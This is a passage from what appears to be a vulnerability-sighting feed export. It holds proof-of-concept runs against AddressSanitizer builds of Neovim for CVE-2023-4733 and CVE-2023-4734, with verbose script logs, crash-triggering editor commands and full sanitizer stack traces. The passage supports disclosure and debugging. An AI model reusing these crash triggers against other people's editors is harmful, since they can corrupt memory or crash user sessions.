n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline 18:\nE488: Trailing characters: d ^?2\nline 19: eGere ln\n\nline 19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$ ^_ K\n\nline 21: t0\n\nline 22: }FKs<\n\nline 22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline 23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline 26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline 27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline 28:\nE488: Trailing characters: d<8b>\nline 29: @^P\n\nline 29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline 31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline 33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline 34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline 35:\nE488: Trailing characters: uc\\^A\nline 36: g<9a>\n\nline 36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline 37:\nE484: Can't open file \nline 38: d<8b>2\n\nline 38:\nE488: Trailing characters: d<8b>2\nline 39: W K2d K\n\nline 39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline 41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline 42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline 43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline 45:\nE488: Trailing characters: d ^?\nline 46: t\n\nline 46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline 47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline 50:\nE488: Trailing characters: o^P^EO,'\nline 51: b\n\nline 51:\nE94: No matching buffer for \nline 52: ^PN,'\n\nline 52:\nE492: Not an editor command: ^PN,'\nline 53: \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline 55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline 56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline 57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline 59:\nE488: Trailing characters: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline 62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline 64:\nE488: Trailing characters: d ^?2\nline 65: eGere ln\n\nline 65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$ ^_ K\n\nline 67: t0\n\nline 68: }FKs<\n\nline 68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline 69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline 72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline 73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline 74:\nE488: Trailing characters: d<8b>\nline 75: @^P\n\nline 75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline 77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1 0 seconds ago\nline 79: <90>\n\nline 79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline 80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline 81:\nE488: Trailing characters: uc\\^A\nline 82: g<9a>\n\nline 82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline 83:\nE484: Can't open file \nline 84: d<8b>2\n\nline 84:\nE488: Trailing characters: d<8b>2\nline 85: W K2d K\n\nline 85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline 86:\nE488: Trailing characters: i0]\nline 87: ^Po\"d\n\nline 87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline 88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline 90:\nE488: Trailing characters: d ^?\nline 91: _ K\n\nline 91:\nE492: Not an editor command: _ K\nline 92: t\n\nline 92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline 93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe $ ^_* ooooooooo : 2\n\nline 97: eGere ln\n\nline 97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline 98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline 99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline 100:\nE492: Not an editor command: nFS\nline 101: t\n\nline 101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline 103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline 105:\nE492: Not an editor command: nFK\nline 106: t\n\nline 106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline 108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline 110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline 111:\nE488: Trailing characters: br^N(\nline 112: ^\\elMl<84>\n\nline 112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42437==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003308 at pc 0x0000006a9285 bp 0x7fff66f63400 sp 0x7fff66f633f8\nREAD of size 8 at 0x626000003308 thread T0\n #0 0x6a9284 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46\n #1 0x8f10ae in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2412:9\n #2 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n #3 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n #4 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #5 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #6 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n #7 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n #8 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n #9 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n #10 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n #11 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n #12 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #13 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #14 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #15 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #16 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #17 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #18 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #19 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #20 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #21 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #22 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #23 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x626000003308 is located 520 bytes inside of 10896-byte region [0x626000003100,0x626000005b90)\nfreed by thread T0 here:\n #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n #2 0x68d64e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1892:7\n #3 0x69088d in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1504:10\n #4 0xfc8e92 in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:256:3\n #5 0xc58540 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2302:3\n #6 0xc59ada in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2323:5\n #7 0x8f0d6f in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2385:3\n #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #12 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n #13 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n #14 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n #15 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n #16 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n #17 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n #18 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #19 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #20 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #21 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #22 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #23 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #24 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #25 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #26 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #27 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #28 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n #2 0x1164d49 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4934:19\n #3 0x1172431 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1199:12\n #4 0x115bf46 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:949:10\n #5 0x9661f7 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7262:14\n #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #8 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #9 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #10 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #13 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #14 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #15 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #16 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46 in buflist_altfpos\nShadow bytes around the buggy address:\n 0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8660: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff8690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff86a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n 0x0c4c7fff86b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==42437==ABORTING", "creation_timestamp": "2026-09-06T14:16:49.092225Z"} 2026-09-06T14:16:49.092225+00:00 https://vulnerability.circl.lu/sighting/2feb503d-27b2-4c67-ab67-35682c711be3/export 2026-09-17T10:26:47.076015+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "2feb503d-27b2-4c67-ab67-35682c711be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4734", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c3c9b99ec5cc9e701c0592bea7ffb79", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling Test_fullcommand()\n\nline 1: call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==36162==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x000000757506 bp 0x7ffd2c4c95e0 sp 0x7ffd2c4c9420 T0)\n==36162==The signal is caused by a READ memory access.\n==36162==Hint: address points to the zero page.\n #0 0x757506 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16\n #1 0x6c4da2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n #2 0x705869 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1622:15\n #3 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n #4 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n #5 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n #6 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n #7 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n #8 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n #9 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n #10 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n #11 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n #12 0x704bce in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:9\n #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #17 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n #18 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n #19 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n #20 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n #21 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #25 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #26 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #27 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #28 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #29 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #30 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #31 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #32 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #33 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #34 0x7f0a67003082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #35 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16 in f_fullcommand\n==36162==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling function Test_fullcommand()\n\nline 1: call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==37683==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x00000094fd76 bp 0x7ffcb27d7770 sp 0x7ffcb27d74a0 T0)\n==37683==The signal is caused by a READ memory access.\n==37683==Hint: address points to the zero page.\n #0 0x94fd76 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10\n #1 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n #2 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n #3 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n #4 0x7e5874 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3324:13\n #5 0x7e00d6 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4234:15\n #6 0x7dd36e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3912:7\n #7 0x7dbcec in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3737:7\n #8 0x7db070 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3633:7\n #9 0x7da9d7 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3554:7\n #10 0x7a47c7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3485:7\n #11 0x7935ec in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3411:7\n #12 0x8ace03 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:429:9\n #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #16 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n #17 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n #18 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n #19 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #21 0x934ab2 in 